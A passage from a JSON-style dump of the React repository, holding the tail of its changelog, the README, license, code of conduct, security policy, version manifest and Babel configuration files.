(October 28, 2014)\n\n### React Core\n\n#### Breaking Changes\n\n* `key` and `ref` moved off props object, now accessible on the element directly\n* React is now BSD licensed with accompanying Patents grant\n* Default prop resolution has moved to Element creation time instead of mount time, making them effectively static\n* `React.__internals` is removed - it was exposed for DevTools which no longer needs access\n* Composite Component functions can no longer be called directly - they must be wrapped with `React.createFactory` first. This is handled for you when using JSX.\n\n#### New Features\n\n* Spread operator (`{...}`) introduced to deprecate `this.transferPropsTo`\n* Added support for more HTML attributes: `acceptCharset`, `classID`, `manifest`\n\n#### Deprecations\n\n* `React.renderComponent` --> `React.render`\n* `React.renderComponentToString` --> `React.renderToString`\n* `React.renderComponentToStaticMarkup` --> `React.renderToStaticMarkup`\n* `React.isValidComponent` --> `React.isValidElement`\n* `React.PropTypes.component` --> `React.PropTypes.element`\n* `React.PropTypes.renderable` --> `React.PropTypes.node`\n* **DEPRECATED** `React.isValidClass`\n* **DEPRECATED** `instance.transferPropsTo`\n* **DEPRECATED** Returning `false` from event handlers to preventDefault\n* **DEPRECATED** Convenience Constructor usage as function, instead wrap with `React.createFactory`\n* **DEPRECATED** use of `key={null}` to assign implicit keys\n\n#### Bug Fixes\n\n* Better handling of events and updates in nested results, fixing value restoration in \"layered\" controlled components\n* Correctly treat `event.getModifierState` as case sensitive\n* Improved normalization of `event.charCode`\n* Better error stacks when involving autobound methods\n* Removed DevTools message when the DevTools are installed\n* Correctly detect required language features across browsers\n* Fixed support for some HTML attributes:\n  * `list` updates correctly now\n  * `scrollLeft`, `scrollTop` removed, these should not be specified as props\n* Improved error messages\n\n### React With Addons\n\n#### New Features\n\n* `React.addons.batchedUpdates` added to API for hooking into update cycle\n\n#### Breaking Changes\n\n* `React.addons.update` uses `assign` instead of `copyProperties` which does `hasOwnProperty` checks. Properties on prototypes will no longer be updated correctly.\n\n#### Bug Fixes\n\n* Fixed some issues with CSS Transitions\n\n### JSX\n\n#### Breaking Changes\n\n* Enforced convention: lower case tag names are always treated as HTML tags, upper case tag names are always treated as composite components\n* JSX no longer transforms to simple function calls\n\n#### New Features\n\n* `@jsx React.DOM` no longer required\n* spread (`{...}`) operator introduced to allow easier use of props\n\n#### Bug Fixes\n\n* JSXTransformer: Make sourcemaps an option when using APIs directly (eg, for react-rails)\n\n\n## 0.11.2 (September 16, 2014)\n\n### React Core\n\n#### New Features\n\n* Added support for `<dialog>` element and associated `open` attribute\n* Added support for `<picture>` element and associated `media` and `sizes` attributes\n* Added `React.createElement` API in preparation for React v0.12\n  * `React.createDescriptor` has been deprecated as a result\n\n### JSX\n\n* `<picture>` is now parsed into `React.DOM.picture`\n\n### React Tools\n\n* Update `esprima` and `jstransform` for correctness fixes\n* The `jsx` executable now exposes a `--strip-types` flag which can be used to remove TypeScript-like type annotations\n  * This option is also exposed to `require('react-tools').transform` as `stripTypes`\n\n## 0.11.1 (July 24, 2014)\n\n### React Core\n\n#### Bug Fixes\n* `setState` can be called inside `componentWillMount` in non-DOM environments\n* `SyntheticMouseEvent.getEventModifierState` correctly renamed to `getModifierState`\n* `getModifierState` correctly returns a `boolean`\n* `getModifierState` is now correctly case sensitive\n* Empty Text node used in IE8 `innerHTML` workaround is now removed, fixing rerendering in certain cases\n\n### JSX\n* Fix duplicate variable declaration in JSXTransformer (caused issues in some browsers)\n\n\n## 0.11.0 (July 17, 2014)\n\n### React Core\n\n#### Breaking Changes\n* `getDefaultProps()` is now called once per class and shared across all instances\n* `MyComponent()` now returns a descriptor, not an instance\n* `React.isValidComponent` and `React.PropTypes.component` validate *descriptors*, not component instances\n* Custom `propType` validators should return an `Error` instead of logging directly\n\n#### New Features\n* Rendering to `null`\n* Keyboard events include normalized `e.key` and `e.getModifierState()` properties\n* New normalized `onBeforeInput` event\n* `React.Children.count` has been added as a helper for counting the number of children\n\n#### Bug Fixes\n\n* Re-renders are batched in more cases\n* Events: `e.view` properly normalized\n* Added Support for more HTML attributes (`coords`, `crossOrigin`, `download`, `hrefLang`, `mediaGroup`, `muted`, `scrolling`, `shape`, `srcSet`, `start`, `useMap`)\n* Improved SVG support\n  * Changing `className` on a mounted SVG component now works correctly\n  * Added support for elements `mask` and `tspan`\n  * Added support for attributes `dx`, `dy`, `fillOpacity`, `fontFamily`, `fontSize`, `markerEnd`, `markerMid`, `markerStart`, `opacity`, `patternContentUnits`, `patternUnits`, `preserveAspectRatio`, `strokeDasharray`, `strokeOpacity`\n* CSS property names with vendor prefixes (`Webkit`, `ms`, `Moz`, `O`) are now handled properly\n* Duplicate keys no longer cause a hard error; now a warning is logged (and only one of the children with the same key is shown)\n* `img` event listeners are now unbound properly, preventing the error \"Two valid but unequal nodes with the same `data-reactid`\"\n* Added explicit warning when missing polyfills\n\n### React With Addons\n* PureRenderMixin: a mixin which helps optimize \"pure\" components\n* Perf: a new set of tools to help with performance analysis\n* Update: New `$apply` command to transform values\n* TransitionGroup bug fixes with null elements, Android\n\n### React NPM Module\n* Now includes the pre-built packages under `dist/`.\n* `envify` is properly listed as a dependency instead of a peer dependency\n\n### JSX\n* Added support for namespaces, eg `<Components.Checkbox />`\n* JSXTransformer\n  * Enable the same `harmony` features available in the command line with `<script type=\"text/jsx;harmony=true\">`\n  * Scripts are downloaded in parallel for more speed. They are still executed in order (as you would expect with normal script tags)\n  * Fixed a bug preventing sourcemaps from working in Firefox\n\n### React Tools Module\n* Improved readme with usage and API information\n* Improved ES6 transforms available with `--harmony` option\n* Added `--source-map-inline` option to the `jsx` executable\n* New `transformWithDetails` API which gives access to the raw sourcemap data\n\n\n## 0.10.0 (March 21, 2014)\n\n### React Core\n\n#### New Features\n* Added warnings to help migrate towards descriptors\n* Made it possible to server render without React-related markup (`data-reactid`, `data-react-checksum`). This DOM will not be mountable by React. [Read the docs for `React.renderComponentToStaticMarkup`](https://reactjs.org/docs/top-level-api.html#react.rendercomponenttostaticmarkup)\n* Added support for more attributes:\n  * `srcSet` for `<img>` to specify images at different pixel ratios\n  * `textAnchor` for SVG\n\n#### Bug Fixes\n* Ensure all void elements don’t insert a closing tag into the markup.\n* Ensure `className={false}` behaves consistently\n* Ensure `this.refs` is defined, even if no refs are specified.\n\n### Addons\n\n* `update` function to deal with immutable data. [Read the docs](https://reactjs.org/docs/update.html)\n\n### react-tools\n* Added an option argument to `transform` function. The only option supported is `harmony`, which behaves the same as `jsx --harmony` on the command line. This uses the ES6 transforms from [jstransform](https://github.com/facebook/jstransform).\n\n\n## 0.9.0 (February 20, 2014)\n\n### React Core\n\n#### Breaking Changes\n\n- The lifecycle methods `componentDidMount` and `componentDidUpdate` no longer receive the root node as a parameter; use `this.getDOMNode()` instead\n- Whenever a prop is equal to `undefined`, the default value returned by `getDefaultProps` will now be used instead\n- `React.unmountAndReleaseReactRootNode` was previously deprecated and has now been removed\n- `React.renderComponentToString` is now synchronous and returns the generated HTML string\n- Full-page rendering (that is, rendering the `<html>` tag using React) is now supported only when starting with server-rendered markup\n- On mouse wheel events, `deltaY` is no longer negated\n- When prop types validation fails, a warning is logged instead of an error thrown (with the production build of React, type checks are now skipped for performance)\n- On `input`, `select`, and `textarea` elements, `.getValue()` is no longer supported; use `.getDOMNode().value` instead\n- `this.context` on components is now reserved for internal use by React\n\n#### New Features\n\n- React now never rethrows errors, so stack traces are more accurate and Chrome's purple break-on-error stop sign now works properly\n- Added support for SVG tags `defs`, `linearGradient`, `polygon`, `radialGradient`, `stop`\n- Added support for more attributes:\n  - `crossOrigin` for CORS requests\n  - `download` and `hrefLang` for `<a>` tags\n  - `mediaGroup` and `muted` for `<audio>` and `<video>` tags\n  - `noValidate` and `formNoValidate` for forms\n  - `property` for Open Graph `<meta>` tags\n  - `sandbox`, `seamless`, and `srcDoc` for `<iframe>` tags\n  - `scope` for screen readers\n  - `span` for `<colgroup>` tags\n- Added support for defining `propTypes` in mixins\n- Added `any`, `arrayOf`, `component`, `oneOfType`, `renderable`, `shape` to `React.PropTypes`\n- Added support for `statics` on component spec for static component methods\n- On all events, `.currentTarget` is now properly set\n- On keyboard events, `.key` is now polyfilled in all browsers for special (non-printable) keys\n- On clipboard events, `.clipboardData` is now polyfilled in IE\n- On drag events, `.dragTransfer` is now present\n- Added support for `onMouseOver` and `onMouseOut` in addition to the existing `onMouseEnter` and `onMouseLeave` events\n- Added support for `onLoad` and `onError` on `<img>` elements\n- Added support for `onReset` on `<form>` elements\n- The `autoFocus` attribute is now polyfilled consistently on `input`, `select`, and `textarea`\n\n#### Bug Fixes\n\n- React no longer adds an `__owner__` property to each component's `props` object; passed-in props are now never mutated\n- When nesting top-level components (e.g., calling `React.renderComponent` within `componentDidMount`), events now properly bubble to the parent component\n- Fixed a case where nesting top-level components would throw an error when updating\n- Passing an invalid or misspelled propTypes type now throws an error\n- On mouse enter/leave events, `.target`, `.relatedTarget`, and `.type` are now set properly\n- On composition events, `.data` is now properly normalized in IE9 and IE10\n- CSS property values no longer have `px` appended for the unitless properties `columnCount`, `flex`, `flexGrow`, `flexShrink`, `lineClamp`, `order`, `widows`\n- Fixed a memory leak when unmounting children with a `componentWillUnmount` handler\n- Fixed a memory leak when `renderComponentToString` would store event handlers\n- Fixed an error that could be thrown when removing form elements during a click handler\n- Boolean attributes such as `disabled` are rendered without a value (previously `disabled=\"true\"`, now simply `disabled`)\n- `key` values containing `.` are now supported\n- Shortened `data-reactid` values for performance\n- Components now always remount when the `key` property changes\n- Event handlers are attached to `document` only when necessary, improving performance in some cases\n- Events no longer use `.returnValue` in modern browsers, eliminating a warning in Chrome\n- `scrollLeft` and `scrollTop` are no longer accessed on document.body, eliminating a warning in Chrome\n- General performance fixes, memory optimizations, improvements to warnings and error messages\n\n### React with Addons\n\n- `React.addons.TestUtils` was added to help write unit tests\n- `React.addons.TransitionGroup` was renamed to `React.addons.CSSTransitionGroup`\n- `React.addons.TransitionGroup` was added as a more general animation wrapper\n- `React.addons.cloneWithProps` was added for cloning components and modifying their props\n- Bug fix for adding back nodes during an exit transition for CSSTransitionGroup\n- Bug fix for changing `transitionLeave` in CSSTransitionGroup\n- Performance optimizations for CSSTransitionGroup\n- On checkbox `<input>` elements, `checkedLink` is now supported for two-way binding\n\n### JSX Compiler and react-tools Package\n\n- Whitespace normalization has changed; now space between two tags on the same line will be preserved, while newlines between two tags will be removed\n- The `react-tools` npm package no longer includes the React core libraries; use the `react` package instead.\n- `displayName` is now added in more cases, improving error messages and names in the React Dev Tools\n- Fixed an issue where an invalid token error was thrown after a JSX closing tag\n- `JSXTransformer` now uses source maps automatically in modern browsers\n- `JSXTransformer` error messages now include the filename and problematic line contents when a file fails to parse\n\n## 0.8.0 (December 19, 2013)\n\n### React\n\n* Added support for more attributes:\n  * `rows` & `cols` for `<textarea>`\n  * `defer` & `async` for `<script>`\n  * `loop` for `<audio>` & `<video>`\n  * `autoCorrect` for form fields (a non-standard attribute only supported by mobile WebKit)\n* Improved error messages\n* Fixed Selection events in IE11\n* Added `onContextMenu` events\n\n### React with Addons\n\n* Fixed bugs with TransitionGroup when children were undefined\n* Added support for `onTransition`\n\n### react-tools\n\n* Upgraded `jstransform` and `esprima-fb`\n\n### JSXTransformer\n\n* Added support for use in IE8\n* Upgraded browserify, which reduced file size by ~65KB (16KB gzipped)\n\n\n## 0.5.2, 0.4.2 (December 18, 2013)\n\n### React\n\n* Fixed a potential XSS vulnerability when using user content as a `key`: [CVE-2013-7035](https://groups.google.com/forum/#!topic/reactjs/OIqxlB2aGfU)\n\n\n## 0.5.1 (October 29, 2013)\n\n### React\n\n* Fixed bug with `<input type=\"range\">` and selection events.\n* Fixed bug with selection and focus.\n* Made it possible to unmount components from the document root.\n* Fixed bug for `disabled` attribute handling on non-`<input>` elements.\n\n### React with Addons\n\n* Fixed bug with transition and animation event detection.\n\n\n## 0.5.0 (October 16, 2013)\n\n### React\n\n* Memory usage improvements - reduced allocations in core which will help with GC pauses\n* Performance improvements - in addition to speeding things up, we made some tweaks to stay out of slow path code in V8 and Nitro.\n* Standardized prop -> DOM attribute process. This previously resulting in additional type checking and overhead as well as confusing cases for users. Now we will always convert your value to a string before inserting it into the DOM.\n* Support for Selection events.\n* Support for [Composition events](https://developer.mozilla.org/en-US/docs/Web/API/CompositionEvent).\n* Support for additional DOM properties (`charSet`, `content`, `form`, `httpEquiv`, `rowSpan`, `autoCapitalize`).\n* Support for additional SVG properties (`rx`, `ry`).\n* Support for using `getInitialState` and `getDefaultProps` in mixins.\n* Support mounting into iframes.\n* Bug fixes for controlled form components.\n* Bug fixes for SVG element creation.\n* Added `React.version`.\n* Added `React.isValidClass` - Used to determine if a value is a valid component constructor.\n* Removed `React.autoBind` - This was deprecated in v0.4 and now properly removed.\n* Renamed  `React.unmountAndReleaseReactRootNode` to `React.unmountComponentAtNode`.\n* Began laying down work for refined performance analysis.\n* Better support for server-side rendering - [react-page](https://github.com/facebook/react-page) has helped improve the stability for server-side rendering.\n* Made it possible to use React in environments enforcing a strict [Content Security Policy](https://developer.mozilla.org/en-US/docs/Security/CSP/Introducing_Content_Security_Policy). This also makes it possible to use React to build Chrome extensions.\n\n### React with Addons (New!)\n\n* Introduced a separate build with several \"addons\" which we think can help improve the React experience. We plan to deprecate this in the long-term, instead shipping each as standalone pieces. [Read more in the docs](https://reactjs.org/docs/addons.html).\n\n### JSX\n\n* No longer transform `class` to `className` as part of the transform! This is a breaking change - if you were using `class`, you *must* change this to `className` or your components will be visually broken.\n* Added warnings to the in-browser transformer to make it clear it is not intended for production use.\n* Improved compatibility for Windows\n* Improved support for maintaining line numbers when transforming.\n\n\n## 0.4.1 (July 26, 2013)\n\n### React\n\n* `setState` callbacks are now executed in the scope of your component.\n* `click` events now work on Mobile Safari.\n* Prevent a potential error in event handling if `Object.prototype` is extended.\n* Don't set DOM attributes to the string `\"undefined\"` on update when previously defined.\n* Improved support for `<iframe>` attributes.\n* Added checksums to detect and correct cases where server-side rendering markup mismatches what React expects client-side.\n\n### JSXTransformer\n\n* Improved environment detection so it can be run in a non-browser environment.\n\n\n## 0.4.0 (July 17, 2013)\n\n### React\n\n* Switch from using `id` attribute to `data-reactid` to track DOM nodes. This allows you to integrate with other JS and CSS libraries more easily.\n* Support for more DOM elements and attributes (e.g., `<canvas>`)\n* Improved server-side rendering APIs. `React.renderComponentToString(<component>, callback)` allows you to use React on the server and generate markup which can be sent down to the browser.\n* `prop` improvements: validation and default values. [Read our blog post for details...](https://reactjs.org/blog/2013/07/11/react-v0-4-prop-validation-and-default-values.html)\n* Support for the `key` prop, which allows for finer control over reconciliation. [Read the docs for details...](https://reactjs.org/docs/multiple-components.html)\n* Removed `React.autoBind`. [Read our blog post for details...](https://reactjs.org/blog/2013/07/02/react-v0-4-autobind-by-default.html)\n* Improvements to forms. We've written wrappers around `<input>`, `<textarea>`, `<option>`, and `<select>` in order to standardize many inconsistencies in browser implementations. This includes support for `defaultValue`, and improved implementation of the `onChange` event, and circuit completion. [Read the docs for details...](https://reactjs.org/docs/forms.html)\n* We've implemented an improved synthetic event system that conforms to the W3C spec.\n* Updates to your component are batched now, which may result in a significantly faster re-render of components. `this.setState` now takes an optional callback as it's second parameter. If you were using `onClick={this.setState.bind(this, state)}` previously, you'll want to make sure you add a third parameter so that the event is not treated as the callback.\n\n### JSX\n\n* Support for comment nodes `<div>{/* this is a comment and won't be rendered */}</div>`\n* Children are now transformed directly into arguments instead of being wrapped in an array\n  E.g. `<div><Component1/><Component2/></div>` is transformed into `React.DOM.div(null, Component1(null), Component2(null))`.\n  Previously this would be transformed into `React.DOM.div(null, [Component1(null), Component2(null)])`.\n  If you were using React without JSX previously, your code should still work.\n\n### react-tools\n\n* Fixed a number of bugs when transforming directories\n* No longer re-write `require()`s to be relative unless specified\n\n\n## 0.3.3 (June 20, 2013)\n\n### React\n\n* Allow reusing the same DOM node to render different components. e.g. `React.renderComponent(<div/>, domNode); React.renderComponent(<span/>, domNode);` will work now.\n\n### JSX\n\n* Improved the in-browser transformer so that transformed scripts will execute in the expected scope. The allows components to be defined and used from separate files.\n\n### react-tools\n\n* Upgrade Commoner so `require` statements are no longer relativized when passing through the transformer. This was a feature needed when building React, but doesn't translate well for other consumers of `bin/jsx`.\n* Upgraded our dependencies on Commoner and Recast so they use a different directory for their cache.\n* Freeze our Esprima dependency.\n\n\n## 0.3.2 (May 31, 2013)\n\n### JSX\n\n* Improved compatibility with other coding styles (specifically, multiple assignments with a single `var`).\n\n### react-tools\n\n* Switch from using the browserified build to shipping individual modules. This allows react-tools to be used with [browserify](https://github.com/substack/node-browserify).\n\n\n## 0.3.1 (May 30, 2013)\n\n### react-tools\n\n* Fix bug in packaging resulting in broken module.\n\n\n## 0.3.0 (May 29, 2013)\n\n* Initial public release\n"
  },
  {
    "path": "CLAUDE.md",
    "content": "# React\n\nReact is a JavaScript library for building user interfaces.\n\n## Monorepo Overview\n\n- **React**: All files outside `/compiler/`\n- **React Compiler**: `/compiler/` directory (has its own instructions)\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to make participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies within all project spaces, and it also applies when\nan individual is representing the project or its community in public spaces.\nExamples of representing a project or community include using an official\nproject e-mail address, posting via an official social media account, or acting\nas an appointed representative at an online or offline event. Representation of\na project may be further defined and clarified by project maintainers.\n\nThis Code of Conduct also applies outside the project spaces when there is a\nreasonable belief that an individual's behavior may have a negative impact on\nthe project or its community.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at <opensource-conduct@fb.com>. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see\nhttps://www.contributor-covenant.org/faq\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to React\n\nWant to contribute to React? There are a few things you need to know.  \n\nWe wrote a **[contribution guide](https://reactjs.org/docs/how-to-contribute.html)** to help you get started.\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) Meta Platforms, Inc. and affiliates.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "MAINTAINERS",
    "content": "acdlite\neps1lon\nEugeneChoi4\ngaearon\ngnoff\nunstubbable\nhoxyq\njackpope\njbonta\njbrown215\njosephsavona\nkassens\nmattcarrollcode\nmofeiZ\nmvitousek\npieterv\npoteto\nrickhanlonii\nsebmarkbage\nsethwebster\nsophiebits\nelicwhite\nyuzhi\n"
  },
  {
    "path": "README.md",
    "content": "# [React](https://react.dev/) &middot; [![GitHub license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/facebook/react/blob/main/LICENSE) [![npm version](https://img.shields.io/npm/v/react.svg?style=flat)](https://www.npmjs.com/package/react) [![(Runtime) Build and Test](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml/badge.svg)](https://github.com/facebook/react/actions/workflows/runtime_build_and_test.yml) [![(Compiler) TypeScript](https://github.com/facebook/react/actions/workflows/compiler_typescript.yml/badge.svg?branch=main)](https://github.com/facebook/react/actions/workflows/compiler_typescript.yml) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://legacy.reactjs.org/docs/how-to-contribute.html#your-first-pull-request)\n\nReact is a JavaScript library for building user interfaces.\n\n* **Declarative:** React makes it painless to create interactive UIs. Design simple views for each state in your application, and React will efficiently update and render just the right components when your data changes. Declarative views make your code more predictable, simpler to understand, and easier to debug.\n* **Component-Based:** Build encapsulated components that manage their own state, then compose them to make complex UIs. Since component logic is written in JavaScript instead of templates, you can easily pass rich data through your app and keep the state out of the DOM.\n* **Learn Once, Write Anywhere:** We don't make assumptions about the rest of your technology stack, so you can develop new features in React without rewriting existing code. React can also render on the server using [Node](https://nodejs.org/en) and power mobile apps using [React Native](https://reactnative.dev/).\n\n[Learn how to use React in your project](https://react.dev/learn).\n\n## Installation\n\nReact has been designed for gradual adoption from the start, and **you can use as little or as much React as you need**:\n\n* Use [Quick Start](https://react.dev/learn) to get a taste of React.\n* [Add React to an Existing Project](https://react.dev/learn/add-react-to-an-existing-project) to use as little or as much React as you need.\n* [Create a New React App](https://react.dev/learn/start-a-new-react-project) if you're looking for a powerful JavaScript toolchain.\n\n## Documentation\n\nYou can find the React documentation [on the website](https://react.dev/).\n\nCheck out the [Getting Started](https://react.dev/learn) page for a quick overview.\n\nThe documentation is divided into several sections:\n\n* [Quick Start](https://react.dev/learn)\n* [Tutorial](https://react.dev/learn/tutorial-tic-tac-toe)\n* [Thinking in React](https://react.dev/learn/thinking-in-react)\n* [Installation](https://react.dev/learn/installation)\n* [Describing the UI](https://react.dev/learn/describing-the-ui)\n* [Adding Interactivity](https://react.dev/learn/adding-interactivity)\n* [Managing State](https://react.dev/learn/managing-state)\n* [Advanced Guides](https://react.dev/learn/escape-hatches)\n* [API Reference](https://react.dev/reference/react)\n* [Where to Get Support](https://react.dev/community)\n* [Contributing Guide](https://legacy.reactjs.org/docs/how-to-contribute.html)\n\nYou can improve it by sending pull requests to [this repository](https://github.com/reactjs/react.dev).\n\n## Examples\n\nWe have several examples [on the website](https://react.dev/). Here is the first one to get you started:\n\n```jsx\nimport { createRoot } from 'react-dom/client';\n\nfunction HelloMessage({ name }) {\n  return <div>Hello {name}</div>;\n}\n\nconst root = createRoot(document.getElementById('container'));\nroot.render(<HelloMessage name=\"Taylor\" />);\n```\n\nThis example will render \"Hello Taylor\" into a container on the page.\n\nYou'll notice that we used an HTML-like syntax; [we call it JSX](https://react.dev/learn#writing-markup-with-jsx). JSX is not required to use React, but it makes code more readable, and writing it feels like writing HTML.\n\n## Contributing\n\nThe main purpose of this repository is to continue evolving React core, making it faster and easier to use. Development of React happens in the open on GitHub, and we are grateful to the community for contributing bugfixes and improvements. Read below to learn how you can take part in improving React.\n\n### [Code of Conduct](https://code.fb.com/codeofconduct)\n\nFacebook has adopted a Code of Conduct that we expect project participants to adhere to. Please read [the full text](https://code.fb.com/codeofconduct) so that you can understand what actions will and will not be tolerated.\n\n### [Contributing Guide](https://legacy.reactjs.org/docs/how-to-contribute.html)\n\nRead our [contributing guide](https://legacy.reactjs.org/docs/how-to-contribute.html) to learn about our development process, how to propose bugfixes and improvements, and how to build and test your changes to React.\n\n### [Good First Issues](https://github.com/facebook/react/labels/good%20first%20issue)\n\nTo help you get your feet wet and get you familiar with our contribution process, we have a list of [good first issues](https://github.com/facebook/react/labels/good%20first%20issue) that contain bugs that have a relatively limited scope. This is a great place to get started.\n\n### License\n\nReact is [MIT licensed](./LICENSE).\n"
  },
  {
    "path": "ReactVersions.js",
    "content": "'use strict';\n\n// This module is the single source of truth for versioning packages that we\n// publish to npm.\n//\n// Packages will not be published unless they are added here.\n//\n// The @latest channel uses the version as-is, e.g.:\n//\n//   19.3.0\n//\n// The @canary channel appends additional information, with the scheme\n// <version>-<label>-<commit_sha>, e.g.:\n//\n//   19.3.0-canary-a1c2d3e4\n//\n// The @experimental channel doesn't include a version, only a date and a sha, e.g.:\n//\n//   0.0.0-experimental-241c4467e-20200129\n\nconst ReactVersion = '19.3.0';\n\n// The label used by the @canary channel. Represents the upcoming release's\n// stability. Most of the time, this will be \"canary\", but we may temporarily\n// choose to change it to \"alpha\", \"beta\", \"rc\", etc.\n//\n// It only affects the label used in the version string. To customize the\n// npm dist tags used during publish, refer to .github/workflows/runtime_prereleases_*.yml.\nconst canaryChannelLabel = 'canary';\n\n// If the canaryChannelLabel is \"rc\", the build pipeline will use this to build\n// an RC version of the packages.\nconst rcNumber = 0;\n\nconst stablePackages = {\n  'eslint-plugin-react-hooks': '7.1.0',\n  'jest-react': '0.18.0',\n  react: ReactVersion,\n  'react-art': ReactVersion,\n  'react-dom': ReactVersion,\n  'react-server-dom-webpack': ReactVersion,\n  'react-server-dom-turbopack': ReactVersion,\n  'react-server-dom-parcel': ReactVersion,\n  'react-is': ReactVersion,\n  'react-reconciler': '0.34.0',\n  'react-refresh': '0.19.0',\n  'react-test-renderer': ReactVersion,\n  'use-subscription': '1.13.0',\n  'use-sync-external-store': '1.7.0',\n  scheduler: '0.28.0',\n};\n\n// These packages do not exist in the @canary or @latest channel, only\n// @experimental. We don't use semver, just the commit sha, so this is just a\n// list of package names instead of a map.\nconst experimentalPackages = ['react-markup'];\n\nmodule.exports = {\n  ReactVersion,\n  canaryChannelLabel,\n  rcNumber,\n  stablePackages,\n  experimentalPackages,\n};\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Reporting Security Issues\n\nIf you believe you have found a security vulnerability in React, we encourage you to let us know right away. We will investigate all legitimate reports and do our best to quickly fix the problem.\n\nPlease refer to the following page for our responsible disclosure policy, reward guidelines, and those things that should not be reported:\n\nhttps://www.facebook.com/whitehat\n"
  },
  {
    "path": "babel.config-react-compiler.js",
    "content": "'use strict';\n\n/**\n * HACK: @poteto React Compiler inlines Zod in its build artifact. Zod spreads values passed to .map\n * which causes issues in @babel/plugin-transform-spread in loose mode, as it will result in\n * {undefined: undefined} which fails to parse.\n *\n * [@babel/plugin-transform-block-scoping', {throwIfClosureRequired: true}] also causes issues with\n * the built version of the compiler. The minimal set of plugins needed for this file is reexported\n * from babel.config-ts.\n *\n * I will remove this hack later when we move eslint-plugin-react-hooks into the compiler directory.\n **/\n\nconst baseConfig = require('./babel.config-ts');\n\nmodule.exports = {\n  plugins: baseConfig.plugins,\n};\n"
  },
  {
    "path": "babel.config-ts.js",
    "content": "/**\n * This file is purely being used for local jest runs, and doesn't participate in the build process.\n */\n'use strict';\n\nmodule.exports = {\n  plugins: [\n    '@babel/plugin-syntax-jsx',\n    '@babel/plugin-transform-flow-strip-types',\n    ['@babel/plugin-transform-class-properties', {loose: true}],\n    ['@babel/plugin-transform-private-methods', {loose: true}],\n    '@babel/plugin-transform-classes',\n  ],\n  presets: [\n    ['@babel/preset-env', {targets: {node: 'current'}}],\n    '@babel/preset-typescript',\n  ],\n};\n"
  },
  {
    "path": "babel.config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  plugins: [\n    '@babel/plugin-syntax-jsx',\n    '@babel/plugin-transform-flow-strip-types',\n    ['@babel/plugin-proposal-class-properties', {loose: true}],\n    'syntax-trailing-function-commas',\n    [\n      '@babel/plugin-proposal-object-rest-spread',\n      {loose: true, useBuiltIns: true},\n    ],\n    ['@babel/plugin-transform-template-literals', {loose: true}],\n    '@babel/plugin-transform-literals',\n    '@babel/plugin-transform-arrow-functions',\n    '@babel/plugin-transform-block-scoped-functions',\n    '@babel/plugin-transform-object-super',\n    '@babel/plugin-transform-shorthand-properties',\n    '@babel/plugin-transform-computed-properties',\n    '@babel/plugin-transform-for-of',\n    ['@babel/plugin-transform-spread', {loose: true, useBuiltIns: true}],\n    '@babel/plugin-transform-parameters',\n    ['@babel/plugin-transform-destructuring', {loose: true, useBuiltIns: true}],\n    ['@babel/plugin-transform-block-scoping', {throwIfClosureRequired: true}],\n  ],\n};\n"
  },
  {
    "path": "compiler/.claude/agents/investigate-error.md",
